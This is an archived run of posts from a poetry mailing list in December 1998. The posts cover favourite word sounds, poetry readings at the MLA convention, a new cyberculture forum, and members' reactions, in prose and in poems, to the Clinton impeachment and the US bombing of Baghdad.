From the Introduction:

"This issue of _New Observations_ focuses on Cultures of Cyberspace - the kinds of exchanges and communities that have grown out of the Net over the past twenty years or so. The oldest document is a reproduction of a dia- gram from a 1972 paper describing failures in the original ARPA network, the ancestor of today's online monster. [...] The illustrations have been chosen as a

counterpoint to the texts; they reflect spaces and bodies that are effaced, occluded, ghostlike - in short _uncanny_ spaces that, to my mind at least, parallel the 'feeling' of being online."

I must say I'm quite pleased with the publication - which captures a cer- tain aspect of online subjectivity. The articles range from accounts of the phenomenology of email lists to a description of ThePalace, from MUD and MOO analyses to posts from alt.adjective.noun.verb.verb.verb.

The writers include Michael Spirito, Miekal And, Ryan Whyte, Eve Andree Laramee, Jerry Everard, John Suler, Caitlin Martin, Adrianne Wortzel, Radhika Gajjala, addicted2words, S. McKenzie, Nick Mamatas, Ted in St. Louis, Jon Marshall, Alexanne Don, Art McGee, Laurie Cubbison, Steven Meinking, Drew Shiel, Paula Davidson, Amy Fletcher, and Guiseppe Iann- icelli. Artists include David Smith, Fanny Jacobson, Janieta Eyer, Emily Cheng, Thomas Zummer, Tyler Stallings, Nancy Haynes, Wenda Gu, Ichi Ikeda, Robert Cheatham, Barbara Simcoe, Kim Mcglynn, and Alice Glenn, among others.

You may order it from:

New Observations
611 Broadway #701
New York City, NY, 10012

(Single Issue #120, Cultures of Cyberspace)

The telephone is [redacted] (fax as well).
Email: [redacted]

Subscription for this arts/cultural journal (next issue is on Memory Palaces) is 1 year / 4 issues: $22.00 and 2 years /8 issues: $38.00

Enjoy! See what the fuss is about!

- Alan

↑ Index

573. Mark Salerno
Joel Oppenheimer
Wed 16 Dec 1998

Colleagues:

Arshile seeks someone to write a review of Joel Oppenheimer's COLLECTED LATER POEMS, edited by Robert J. Bertholf (Buffalo, N.Y.: The Poetry/Rare Books Collection, SUNY, 1997). Interested parties please backchannel.

Mark Salerno

↑ Index

574. George Bowering
Re: syllable sounds
Wed 16 Dec 1998

Before my girlfriend/wife Angela knew any Spanish, I used to whisper in her ear,
"caracoles," and she had a frisson I loved.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

575. George Bowering
Re: syllable sounds
Wed 16 Dec 1998

> *I'm actually in love with pharmacological words--my recent favorite is "Propecia," the name of a hair growth drug for men. Zithromax is good, too.*
>
> *shana*

The Japanese word "rimbyo" sounds lovely
and it means gonorrhea
or literally "drip-sickness"

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

576. **George Bowering**
Re: syllable sounds
Wed 16 Dec 1998

> *Bust him for plagiarism--it was Gertrude Stein who said that (though I can't footnote it at the moment). I'd have to concede, though, it's better than cell door. ho ho ho, Sylvester*

Oh, excreta! you're right. I remember reading that not too long ago. I am going to bop that Singaporean.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

577. **Gabriel Gudding**
Posting to the list (fwd)
Wed 16 Dec 1998

Hullo?

---------- Forwarded message ----------
Date: Fri, 11 Dec 1998 12:15:08 -0500
From: Jordan Davis <[redacted]>
To: [redacted]
Subject: Posting to the list

Thanks, anonymous voice, for the note. I am confused by the apparent contradiction between the list being edited and all posts being forwarded immediately. My confusion increases when Henry tells me two of the posts he sent before he unsubscribed were not forwarded.

Please clarify.

Jordan Davis

Poetics list wrote: In reply to recent queries, there has been no change in the structure of the list. The Poetics List is edited and will remain so for the forseeable future; however, please be aware that all posts sent to the list by subscribers go immediately to the list, *without exception*.

↑ Index

578. **Pierre Joris**
Re: syllable sounds and reference
Wed 16 Dec 1998

Rachel Levitsky wrote:

> *Today my ear is obsessed with "sidereal"*

or as Ed Dorn has it, somewhere, if memory serves:

"the inside real and the outsidereal"

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

579. **Lawrence Upton.**
Re: syllable sounds
Wed 16 Dec 1998

|& I remember some piece of research years ago that found that for most |people the euphonically most beautiful word in English was "carcinoma."

ye-e--e---ss
but at this closeness surely the euphony is tied up with the voice of the individual uttering and the auditor's response to that pronunciation

Pierre uttering "carcinoma" would produce a very different set of sounds to... say Kate Adie - a BBC correspondent of great verbal-vocal precision, arising not least from her being half or more Swedish - I am *assuming you will have heard her. In case not, let's say Jerome Rothenberg... or Steve McCaffery - gender balance! or Karen MacCormack or Anne Waldman. All quite different in what they would do with that set of sounds. Given the range of pronunciations /musical

effects available to speakers, I don't see how one word could be awarded an unequivocal accolade as the euphonically most beautiful word

AND the situation changes when the one word is put with another:
cellardoor carcinoma
OR
carcinoma cellardoor
quite different sonic AND stress interrelationships

L
|
|Pierre
|
|
|--
|==========
|Pierre Joris
|[redacted]
|http://www.albany.edu/~joris/
|6 Madison Place
|Albany NY 12202
|tel: [redacted]
|fax: [redacted]
|==========
|Nomadism answers to a relation that
|possession cannot satisfy.
|
|— Maurice Blanchot
|==========
|

Lawrence Upton's website: http://members.spree.com/sip/lizard/

"WORD SCORE UTTERANCE CHOREOGRAPHY in verbal and visual poetry"
edited by Bob Cobbing and Lawrence Upton
Writers Forum, London, 1998; 156 pp; ISBN 0 86162 750 4

↑ Index

580. **joel lewis**
f.y.i.
Wed 16 Dec 1998

*** An impeachable offense: As if President Clinton doesn't have enough trouble on Capitol Hill, now he's got problems down under. Er, ah, Down Under. It seems that organizers of Madame Tussaud's traveling wax museum of 110 life-like statues have encountered some troubles in Sydney, Australia. Their guests just can't keep their hands off of the Clinton model's naughty bits, unzipping his pants as a prank. So, Vicky Brown, general manager of the exhibition has ordered Mr. President's fly sewn shut. Prior to her stratagem, security guards were checking on Clinton's state of affairs every couple of hours to "avoid embarrassment," Brown said.

↑ Index

581. **Gabriel Gudding**
Re: syllable sounds and reference
Wed 16 Dec 1998

> *Rachel Levitsky wrote:*
>
> *Today my ear is obsessed with "sidereal"*

I have always been fascinated by the sound of Farts (the word, people). I love Dentals and Fricatives. I also love fajitas, which might explain some of my attraction to this word. Ferret is also a perky word and possesses at least one very sharp Dental. Note how the introduction of the words Ferret and Fart radically change the sonic texture of this bit from Genesis.

Ferret was wroth with his servants, and put me in a ward in the captain of the guard's house, both me and the chief baker: And we dreamed each man according to the interpretation of his dream. And there was there with us an young man, an Hebrew, an servant of the captain of the guard; and we told him, and he interpreted to us our dreams; to each man according to his dream he did interpret.

Ferret sent and called for Joseph, and they brought him hastily out of the dungeons: and he shaved himself and changed his raiment, and came in unto ferret. And ferret said unto Joseph, I have dreamed a dream, and there is none that can interpret it: and I have heard say of thee, that thou canst understand a dream.

That is when Joseph turned into a fart and was inhaled by degrees.

↑ Index

582. Charles Bernstein
MLA/Open to Public
Wed 16 Dec 1998

I neglected to mention in my announcement yesterday about the MLA events that the ones I listed are free and open to the public; and indeed the idea for these events was, in part, to have a few poetry-related events open to poets living in the Bay area:

David Bromige/Lyn Hejinian/Leslie Scalapino reading: Monday, 28 December, 5:15pm. Franciscan Room A, Hilton, which is the Ballroom Level, Building 1.

Adrienne Rich Reading (followed by conversation): Monday, 28 December, 3:30-4:45, Plaza Room A, Hilton, which is immediately followed, in the same room, by Poetry Division Cash Bar and book party for Rich, and for Poems for the Millennium II, Close Listening, and Imagining Language. Plaza Room A is on the Lobby Level, Building 1

Other MLA events free and open to the public include these five readings, which, remarkably, all take place *at the same time!*: 5:15-6:30 on Tuesday, December 29 in the Hilton (titles for readings are those listed in the program):

John Kinsella in Franciscan Room A

Hypermeida Poetry/Fiction with Stephanie Strickland & M. D. Coverley in Parlor 2, Continental Ballroom

Charles Wright in Continental Ballroom 6

West Coast Native Women's Poetry with Gloria Bird, Janice Gould, Deborah A. Miranda, and Nora Davenhauer in Yosemite Room B

Asian American Writers Catherine Liu & R. Zamora Linmark in Union Square 15 and 16

In addition, there is a free reading by Czeslaw Milosz: 12/27, 7pm, Yosemite Room A

Another things SF area folks who are not registered might enjoy is the great and large book exhibit. According to the convention program, "MLA convention registrants may obtain free passes to the exhibit hall for guests they accompany in the hall. Persons who are not registered for the convention and who are not guests of registrants may purchase a one-day pass to the exhibit hall for $10. These passes are available near the entrance to the exhibit hall." Well worth the $10, by the way. The book exhibit is in the Grand Ballroom Salon A and B, Building 2, San Francisco Hilton.

↑ Index

583. Laura E. Wright
Re: syllable sounds/lost in translation?
Wed 16 Dec 1998

> *OK, cocoa bikini!*
>
> *--Dan Zimmerman*

I can't believe "alcohol" didn't "pass the test"! But I vote, today, for
OK, cocoa bikini
as having very pleasing shape to tongue and ear.

Meanwhile, a two-headed question for any takers: 1) How do you (or do you?) guard yourself / your work against people who are inclined to, for example, question your lover in pointed detail about your sex life after hearing you read? These people, it should be noted, do not question the poet about the work, but the assumed subject/object of the work about itself.

2) If people insist on referring one's work back to one's lover, how to protect the lover (not in a sheltering sense, but a compassionate one) from feeling attacked by the work?

(Sorry if this is a bit, I feel necessarily, vague -- but would greatly appreciate any thoughts along these lines.)

In minor poetic crisis, seeking extra soothing syllable sounds,
Laura
--
Laura Wright, Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]

"Speech keeps strangling itself, but wisdom has not come."
--Henri Michaux

↑ Index

584. Randy Prunty
Re: New Hejinaian/Scalapino from Edge Books
Wed 16 Dec 1998

hello Rod

could you put a copy of Sight in the mail to me and I'll send you the $10?

Randy Prunty
1221 Sheppard Dr.
Lilburn, GA 30047

↑ Index

585. **MAYHEW**
Re: syllable sounds/lost in translation?
Wed 16 Dec 1998

Laura: How incredibly rude! I'm sure Miss Manners would tell your lover to say, politely, "It's actually none of your business" and leave it at that. Why anyone would feel obliged to entertain such questions is beyond me.

Jonathan

↑ Index

586. **Jerry McGuire**
syllable sounds
Wed 16 Dec 1998

> *I recently heard an Asian say that the most beautiful English word he'd ever heard was "cellardoor".*
>
> *Bust him for plagiarism--it was Gertrude Stein who said that (though I can't footnote it at the moment). I'd have to concede, though, it's better than cell door. ho ho ho, Sylvester*

Bust me for laziness, because I won't check the archives either, but I recall that it was Borges who said that his _students'_ favorite expression in English was "cellar door." Could they have been reading Stein?

Jerry

↑ Index

587. **daniel bouchard**
Re: is a language poet
Wed 16 Dec 1998

At 01:15 PM 12/11/98 PST, Ron Silliman wrote:
>Has anyone noticed that what's happening in Congress right now isn't an
>impeachment but a coup?
>

I noticed. I think. I've got to write this note quickly though and beat out the lunchtime crowds at Filene's Basement.

In new england there is a mechanism in people that aims for the worst in particular situations. For example, if it is cold and raw and ugly outside, one would say to one's fellow, "well, at least it ain't snowing." Or, if there is heavy snow and a tree falls on your house, one would say "well, at least it didn't hit the truck." And so on.

So there is a coup in Congress--the sick fruition of an effort begun on Inauguration Day 1992. Well, at least nobody's been shot yet.

Ken Starr, he "investigated" a Clinton real estate investement, and no one particularly cared.
So "travelgate" came to pass, and no one was impressed.
Contributions to the Clinton campaign were scrutinzed but the public lacked enthusiasm.
Legions of felt-up associates came forward but no one in power was so shameless as to pretend they were interested in "protecting" women from sexual harassment.
Now the leader of the free world, in covering his ass for screwing around,
is accused of perjury and will be tried for high crimes and treason.

This is all still pretty tame by Roman standards.

All public officials know well enough from this day forward not ever to fuck with health care again; no socialization of any industry whatsoever.

The trouble is I have no compulsion to defend the guy.
The problem is I hate his enemies more than I hate him,
and I hate him a lot.
The gist of it is there is nothing one can do about it anyway.
I guess we'll get what we deserve by christmas anyway.
The interesting part is borne out of mandatory passivity.
The interesting part is free lessons in double-plus bad speak.
Tiberius was a sexual predator too.
Clinton is not fit to lace his sneakers.
The interesting part will begin once he's gone.

Thankfully I am a provincial and have few international associates to be embarrassed before.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

588. **shana**
Re: syllable sounds/lost in translation?
Wed 16 Dec 1998

On Wed, 16 Dec 1998, Laura E. Wright wrote:
>
> Meanwhile, a two-headed question for any takers:
> 1) How do you (or do you?) guard yourself / your work against people who
> are inclined to, for example, question your lover in pointed detail
> about your sex life after hearing you read? These people, it should be
> noted, do not question the poet about the work, but the assumed
> subject/object of the work about itself.
>
> 2) If people insist on referring one's work back to one's lover, how to
> protect the lover (not in a sheltering sense, but a compassionate one)
> from feeling attacked by the work?

I'm with Jonathan--anyone who does this is incredibly rude. I can't even imagine this sort of scene taking place. Do people really come up to your lover after a reading, sipping their grocery store wine, and say, "So, you really get off on having that birthmark on your ass caressed?"

It seems that a bigger problem would come about when a really ballsy person insists on referring your work back your current lover when the work in question was pointed toward a past lover...

I knew there was a reason I don't invite my ex-lovers to readings...Now I'm paranoid. I'm hiding all my lover poems away in a box with a big post-it (tm) note saying, "To be read after I'm halfway across the world."

Shana
[redacted]
http://www.bway.net/~shana

↑ Index

589. **Jack Ruttan**
Re: Bernstein/Perloff in Chicago
Wed 16 Dec 1998

I think the reason for theory/manifestoes/whatnot, at least at the beginning, was a need to distinguish oneself from the mainstream/what has gone before. You wanted to maintain that you were different from all that other junk, and then someone had the nerve to ask "in what way?"

Jack Ruttan, Montreal

Joe Amato wrote:
> perhaps it will help if i clarify a bit why i asked my question: it seems
> to me that an argument can be made that what distinguishes much of the more
> oppositional/alternative/non-mainstream writing is a willingness to
> theorize one's "craft" (i use the latter with some skepticism intact---the [...]
--

http://www.axess.com/users/jackr

↑ Index

590. **Jessica Pompeii**
no buddies buz
Wed 16 Dec 1998

I would tell them it is a story.
-js

↑ Index

591. **Rachel Levitsky**
Re: syllable sounds/lost in translation?
Wed 16 Dec 1998

Laura,

How archaic I think. I mean all this talk about non-referentiality and we still need to preface our words when reading and tell people "this is not about you or me." It's the confessional craze the idea that a memoir really is or really is history or accurate or that there is a fact or a real can you believe this bill of goods?

Rigaberta Menchu is being hounded by fact seeking academics who are hell bent in rendering her story non-valid. Thank goddess the nobel people got the idea right in their retort to demands her prize be taken away in saying, all writing embellishes, that was not the point.

I unfortunately get something similar quite often. Whenever I read the lines "you fucking me, me screaming," men inevitably come up to me all smiles and invitations. I wonder if anything I wrote was heard. And when I read my poem "She said she didn't think my ego was a problem" I've had men following me saying "I just never thought about lesbians that way before" and I think jeez I'm not a poet I'm a social worker.

in struggle,
Rachel

↑ Index

592. Jessica Pompeii
Re: syllable sounds/lost in translation?
Wed 16 Dec 1998

---

cussing, very satisfying all the shhhhhhhhhhhh
-Jesica

↑ Index

593. A. Jenn Sondheim
--==[ANNOUNCING CYBERCULTURE]==--
Wed 16 Dec 1998

= (new project - Alan)

ANNOUNCING

CYBERCULTURE

AN ELECTRONIC FORUM FOR THE DISCUSSION OF THE IMPLICATIONS OF SUBJECTIVITY AND COMMUNITY IN CYBERSPACE

We are all dwelling in cyberspace, coursing through the wires, becoming cyborg and becoming human, alone at the keyboard, together online. We are subjects of a realm which offers new ways of envisioning Self and Oth- er(s), and where a global cyberculture is in the process of creation. Cyberculture is devoted to an examination of the new subjectivities and collectivities that are emerging. We are interested in the cultural, political, philosophical and psychological issues engendered, on all levels of the social.

The Cyberculture email list is not a community-forming enterprise as such, but a place to discuss culture and community online. The list will remain focused on these topics; it will also be a clearing-house for work-in-pro- gress, calls for papers, and so forth.

Some issues that may be relevant:

* the formation (or ad hoc re-constitution) and functioning of online communities, such as Quake Clans or MUD/Usenet/e-mail groups; * the place of the political in online communities and the functioning of power online; * work on sex, gender, race, sexual behaviour in relation to online (vir- tual) subjectivity; * the implications of symbolic and technological extensions of the human (cyborg, android theory, etc.); * financing the Net, the production of the Net consumer, and so forth; * the social implications of computer interfaces and operating systems - in other words, the role of the apparatus in online behavior and commun- ity; * and the interactions between online and offline culture (how social/ cultural ideas shape online and offline 'realities').

This will be a relatively open list - posts on all aspects of cyberculture will be welcomed. We stress, however, that our intent is to explore these issues in the broadest sense, within a focused, substantial discussion, with a minimum of distraction.

One concern we hope to address is the way in which much theoretical work on cyberspace to date reflects an exclusive, hegemonic bias, thus fore- closing some of the most interesting and radical possibilities for the development of cyberculture. We plan to challenge ourselves and the list members to integrate issues of race, gender, class and multiculturalism in our examinations and theories of cyberspace.

==========
==========

If you are going to subscribe to the Cyberculture mailinglist then

--==[PLEASE KEEP THIS MESSAGE FOR FUTURE REFERENCE!]==--

The remainder of this message contains the information of how to SUBscribe or UNSUBscribe from the Cyberculture mailinglist.

[redacted]

Do NOT use a subject line. Put the following in the body of the message:

SUBSCRIBE CYBERCULTURE Firstname Lastname

or go to the following website and complete the form:

http://lists.cmhc.com/cyberculture/about.htm

To UNSUBscribe, send a message to:

[redacted]

Do NOT use a subject line. Put the following in the body of the message:

UNSUBSCRIBE CYBERCULTURE

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594. **Roger Day**

Re: syllable sounds

Wed 16 Dec 1998

At 16/12/98 13:47:25, "Lawrence Upton." <[redacted]> wrote:

|& I remember some piece of research years ago that found that for most
|people the euphonically most beautiful word in English was "carcinoma."
#
ye-e--e---ss
but at this closeness surely the euphony is tied up with the voice of the
individual uttering and the auditor's response to that pronunciation
#
Pierre uttering "carcinoma" would produce a very different set of sounds
to... say Kate Adie - a BBC correspondent of great verbal-vocal precision,
arising not least from her being half or more Swedish - I am *assuming you
will have heard her. In case not, let's say Jerome Rothenberg... or Steve
McCaffery - gender balance! or Karen MacCormack or Anne Waldman. All quite
different in what they would do with that set of sounds. Given the range of
pronunciations /musical effects available to speakers, I don't see how one
word could be awarded an unequivocal accolade as the euphonically most
beautiful word
#
AND the situation changes when the one word is put with another:
cellardoor carcinoma
OR
carcinoma cellardoor
quite different sonic AND stress interrelationships

Indeed. And there has been some research in this area, involving cadences in speech and comparing them between dialects and between different languages,

but I can't find it anywhere. The nearest I could get to it was <URL:http://www.conknet.com/~mmagnus/>, which might have some sort of Radio 2 link to the topic - phonosemantics, although it doesn't beauty. Or truth, come to that.

I've always had a partialness to "quark", although "yellowhammer" seems to be cropping up a lot recently.

Roger

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595. Mark Wallace
poetry reading at the DC Arts Center (fwd)
Wed 16 Dec 1998

We hope you can join us on Sunday, December 20 at 3 p.m. at the DC Arts Center (2438 18th St. in Adams Morgan, just below the corner of 18th and Columbia) for a poetry reading by SHERRY BRENNAN and P. INMAN.

SHERRY BRENNAN's chapbook TAKEN, published by D.C.'s primitive publications, was one of the highlights of D.C. poetry publishing in 1997. Last time she was here, she tore up a poem as she read it, and said certain things over and over without ever repeating herself. Now she's back again for another reading, and those of you who missed her the first time have a chance to not make the same mistake again. Her work has also appeared recently in CHAIN, MASS AVE, NO ROSES REVIEW, and SITUATION.

By his own admission, P. INMAN was once described as "a typical language poet/unfeeling in small reviews." In books like RED SHIFT, VEIL, and CRISS CROSS, Inman has invented a poetic language unlike any other, where the lack of conventional referentiality has been replaced by a shifting verbal landscape of fractured phrases and dislocating repetitions that have no intention of getting you anywhere.

We hope to see you there and for all festivities afterwards.

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

596. **miekal and**
wag the dog
Wed 16 Dec 1998

what happened to the good ole days when the movies imitated reality. we have emetically entered the 21st century.

m

↑ Index

597. **Balestrieri, Peter**
Re: Lost in Translation
Wed 16 Dec 1998

Hi Daniel, You forgot to list "Coca Cola," which, according to Ciardi, is the most recognizable word in the world, followed by OK. It would be interesting if a new Esperanto were growing, fueled by advertising and mass media. Pete

Daniel Zimmerman wrote:

So: the first 'international' poem that loses nothing [assuming it has something to begin with!] in translation:

SAUNA

neon alleluias!
chocolate ninja czar
a shock in yoga-jazz
curry T-shirt!
OK, cocoa bikini!
platinum card!

↑ Index

598. **A. Jenn Sondheim**
Saddam, Turn on your Radio / TV , Change of Channel
Wed 16 Dec 1998

Baghdad's live now on TV, tracer bullets everywhere. They're going to impeach the President. Saddam plays into the expected narrative - he controls it. Derails the impeachment. The Republicans will call Saddam a Liberal. Everyone fulfills everyone. In both senses, Everything is All Over. "Bombs will hit the ground and people die," quote from the news. Suddenly "incoming" is seen. "Some sort of decoy." "A few moments ago some sort of impact with the ground." Saddam takes his turn at wri- ting the story. The Republicans will take over. Clinton, branded, his skin searing, smoking, turns his hands into buttons, the Y2K prob- lem coming early.

"Everything is full capacity."

Stay tuned.

↑ Index

599. **Susan Schultz**
Re: Iraq
Wed 16 Dec 1998

I presume that you've heard that the USA is now bombing Baghdad and that Trent Lott has announced that he will not support the President's policy. Feeling rather sick to my stomach at present about all of it.

Susan

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600. **sylvester pollet**
Special Offer
Wed 16 Dec 1998

Hello last minute shoppers. Bombs falling, impeachment, Armageddon poetry special! Backwoods Broadsides Chaplet Series, gift subscriptions. Just send me your address & the recipient's, and I'll send him/her the latest, #38 Anselm Hollo, PEBBLES, and #39 Meredith Quartermain, VEERS. I'll include a personal note, saying the sub is a gift from you, and I guarantee they will get there before the end of Hanukkah, Christmas, Kwanzaa, or the Solstice.
You can send me the $10 bucks later (sub is a year's worth, 8 issues ppd.) The next two in the series will be going out mid-Jan., so please also send address corrections before I update my mailing list. # 40 will be Jonathan Williams, AMUSE-GUEULES FOR BEMUSED GHOULS, and #41 Rachel Blau DuPlessis, DRAFT 37: PRAEDELLE. Jonathan Williams is Jonathan Williams. Rachel's, a piece of her long poem-in-progress, was written in July 1998 in Umbria, with the bizarre limitations of the format in mind. The Spring duo will be Joan Retallack and Alan Jennifer Sondheim. Cheers,

Sylvester Pollet
963 Winkumpaugh Rd.
Ellsworth ME 04605

↑ Index

601. **Steven Shoemaker**

The Drop

Wed 16 Dec 1998

I hesitate to post this. I wrote it earlier today--title and all--thinking mostly of an odd state of semi-lucid semi-paralysis, and thinking of this state in mainly "personal" terms. Then I went to the gym and got on the treadmill, with all the tvs tuned to the scene Alan has described, the scene of waiting for the bombs to drop, and the poem began to seem in some way "political."

The Drop

In some ways a limited state
of consciousness, as if

one were sitting in a
sparsely furnished room.

Some things are missing
from the room, things

one might want. But
each object present

shines in a clear light.
This light comes slanting in

as if from a high window.
Even the swirling of motes in

its beams seems a dance of
precision and subtle logic.

The words stand out on
the page, big and few,

just as they did in the
school days of early youth.

Time unfolds slowly, in no
hurry. It is almost impossible

to think of the future.
This liberation is both

disturbing and exhilarating.
There are things one is

supposed to do that will
not be done. As always,

there are terrible truths
waiting. The single

moment continues to expand,
stretching like a bubble,

reaching toward imponderable
dimensions.

One wonders, idly and without
great concern,

when it will burst.

↑ Index

602. Garrett Kalleberg
TF7 unsound
Wed 16 Dec 1998

"Always make the audience suffer as much as possible".
- Alfred Hitchcock

The (un)sound cover to TF7 has been moved to a link on the Note page of this issue of The Transcendental Friend, replaced by user-friendly silence:

http://www.morningred.com/friend/1998/12/cover.html

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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603. Elizabeth Treadwell
Merle Bachman
Wed 16 Dec 1998

Hi, excuse my rude frontchannel, please. Does anyone have snail or email info on Merle Bachman? Please graciously backchannel.
Thanks
Clownily yours,
Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

604. **Ron Silliman**
Arghh
Wed 16 Dec 1998

"So there is a coup in Congress--the sick fruition of an effort begun on Inauguration Day 1992. Well, at least nobody's been shot yet."

Dan,

You were about 4 hours early on that judgment. Or does bombing not count?

Ron

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

605. **david bromige**
a change of heart
Wed 16 Dec 1998

POEM

IMPEACH
CLINTON

I could not have written this poem yesterday

↑ Index

606. **A. Jenn Sondheim**
(no subject)
Thu 17 Dec 1998

=

There are cars in the streets of Baghdad with an all-different sky. Some cars there are in Manhattan where I see Baghdad. The whole pretty world is so safe for me, I can go out on the street and eat and walk. Sometimes I can ride on the subway here and there and it is so fun. It is SO FUN! I know that Mr. Saddam cannot reach me here with his Long and Evil Clause! I know we can do anything we want in Irak too and it is so fun! What a wond- erful War when you can Watch it and No one Gets Hurt!

Timmy

↑ Index

607. **Tosh**
Re: a change of heart
Thu 17 Dec 1998

> *POEM*
>
> *IMPEACH*
> *CLINTON*
>
> *I could not have written this poem yesterday*

Impeach him for what?

Tosh Berman
TamTam Books

↑ Index

608. **Rachel Levitsky**
Re: Iraq
Thu 17 Dec 1998

Fuck fuck fuck, I just got home and the list has been my only sort of news since the morning. This is Clinton's rage no? I'll send in a petition in a sec.

Susan Schultz wrote:
>
> I presume that you've heard that the USA is now bombing Baghdad and that Trent
> Lott has announced that he will not support the President's policy. Feeling
> rather sick to my stomach at present about all of it.
>
> Susan

↑ Index

609. **Rachel Levitsky**
Re: Iraq
Thu 17 Dec 1998

This is all I've got so far:
I'll send more as I find it.

OTHER SUGGESTIONS FOR ACTION From the Fellowship of Reconciliation

Please contact: the President ([redacted]), the Vice-President ([redacted]), the Secretary of State ([redacted]) and your Senators and Member of Congress and urge them to support UN Secretary General Kofi Annan's plan to resolve the Iraq crisis. Also, please thank those members of Congress who made public statements against the proposed bombing (Lynn Rivers/MI, John Conyers/MI, Cynthia McKinney/GA and others (General address is http://www.house.gov/writerep/

Congressional Toll-Free numbers: Call during business hours. Ask the switchboard operator for the name of the Representative or Senator you want
to bug. Of course, you won't get your elected official, but a staff member. It is a good idea to get the name of any staffer you establish some rapport with so you can ask for her/him in future calls. Also, there
is a Congressional web page which will give you information about each Representative or Senator, http://www.capweb.net/directory.html. The toll-free numbers I have used with best success are (in order of infrequency of busy signals):

[redacted]

Susan Schultz wrote:
>
> I presume that you've heard that the USA is now bombing Baghdad and that Trent
> Lott has announced that he will not support the President's policy. Feeling
> rather sick to my stomach at present about all of it.
>
> Susan

↑ Index

610. **E.M. Garrison**

Query

Thu 17 Dec 1998

Is anyone out there aware of a list for works in progress? A sounding board for poets in the wilderness?
Please backchan., if so.....

Thanks ,

beth

↑ Index

611. **miekal and**
Re: Query
Thu 17 Dec 1998

E.M. Garrison wrote:
>
> Is anyone out there aware of a list for works in progress? A
> sounding board for poets in the wilderness?
> Please backchan., if so.....

no don't b/c, go public, that's a good question

↑ Index

612. **Anastasios Kozaitis**
Poem of the Day
Thu 17 Dec 1998

HEATHENS

(Freedom Jazz Dance or Dr. Jackle)

1 They Ugly
on purpose!

2 They get high
off Air Raids!

3 They are the oldest
continuously functioning
Serial Killers

4 They murder
to Explain
Themselves!

5 They think
Humans
are food.

6 They imitate
conversation
by lying

7 They are always naked
and always dirty

the shower & tuxedo
don't help

8 They go to the bathroom
to have a religious
experience

9 They believe everything is better
Dead. And that everything alive
is their enemy.

10 Plus Heathens is armed
and dangerous.

--Amiri Baraka
from _Heathens and Revolutionary Art_
Published in Heaven Chapbook Series #45
White Fields Press
for more info: [redacted]

↑ Index

613. **Mairead Byrne**
Re: Special Offer
Thu 17 Dec 1998

On Wed, 16 Dec 1998, sylvester pollet wrote:

> *Hello last minute shoppers. Bombs falling, impeachment, Armageddon poetry special!*
> *Backwoods Broadsides Chaplet Series, gift subscriptions. Just send me your address & the recipient's, and I'll send him/her the latest, #38 Anselm Hollo, PEBBLES, and #39 Meredith Quartermain, VEERS. I'll include a personal note, saying the sub is a gift from you, and I guarantee they will get there before the end of Hanukkah, Christmas, Kwanzaa, or the Solstice.*

Under current (and all) circumstances, you may as well include Ramadan which is due to start about now.

Mairead

↑ Index

614. **Maria Damon**
Re: Poets of the MLA
Thu 17 Dec 1998

At 9:58 AM -0800 12/10/98, [redacted] wrote:
>Mark your calendars!
>

>Poets of the MLA
>
>Tuesday, December 29, 7:30 p.m.
>New College Theater
>777 Valencia Street
>$5
>
>Every year the Modern Languages Association convenes during the last week
>of the year somewhere in the world and this year it's San Francisco's turn.
>Small Press Traffic has invited many of the finest poets in the world to
>read for five minutes apiece, a kind of Supermarket Sweep of the mind. They
>include Beth Anderson, Charles Bernstein, Stephen Cope, Benjamin
>Friedlander, Loss Pequeno Glazier, Carla Harryman, Pierre Joris, Tan Lin,
>Nicole Markotic, Andrew Mossin, Sianne Ngai, Jena Osman, Ted Pearson, Bob
>Perelman, Meredith Quartermain, Jerome Rothenberg, Lisa Samuels, Gail
>Scott, Lytle Shaw, Chris Stroffolino, Barrett Watten.
>
>We'll post a reminder closer to the date.

wow what a dizzying festyble of semantickle cosmo-chaos. i am expecting my ears to flap off my head and wing their way up to the aether.

↑ Index

615. **daniel bouchard**
Re: Arghh (rack)
Thu 17 Dec 1998

Preface: Here are some personal views of mine shoddily disguised as poetry. It's the only way to sneak them onto the List. Consider Robert Duncan & a Tradition hereby "mentioned." While keeping in mind that I can write this awful drivel without fear of arrest or state violence (violence to me individually), the idea that posting a poem to 666 hypothetical readers, or protesting on the Boston Common later today, or calling a Congressperson, is akin to pissing in the wind.

Why get angry about what one won t understand?
No sane person actually lives in Iraq.
It has taken only a quarter century
to apprehend Pinochet.
At least now the murders are almost Official.

So US began by bombing Baghdad one Wednesday.
On Thursday a vote to impeach had been slated.
Not thru the president only did we begin bombing

for no one in the House questions the act.
The right do so belongs to US.
And the bombing began well before Ramadan
(a compensatory holiday
for the heathen who lack christmas,
and for this convenient scheduling the NSC claim benignity,
a further token of our good will).

That the bombing coincides with impeachment proceedings brings
media attention to the "highly suspicious" timing of the attack,
but no one--not a single voice
with the capacity to reach large numbers
(that is, the "liberal" media)--
will question the god-given right
of US to bomb Baghdad.

The major paper in Boston said
"Saddam's response was a defiant call to arms"
as if defiance constituted defending oneself
against what the major paper in Boston called
"waves of cruise missiles and bombers"
because the US has made it plain for half a century
that any attempt to repel US attacks
is an act of intolerable rebellion.

At 07:14 PM 12/16/98 PST, you wrote:
>"So there is a coup in Congress--the sick fruition of an effort begun on
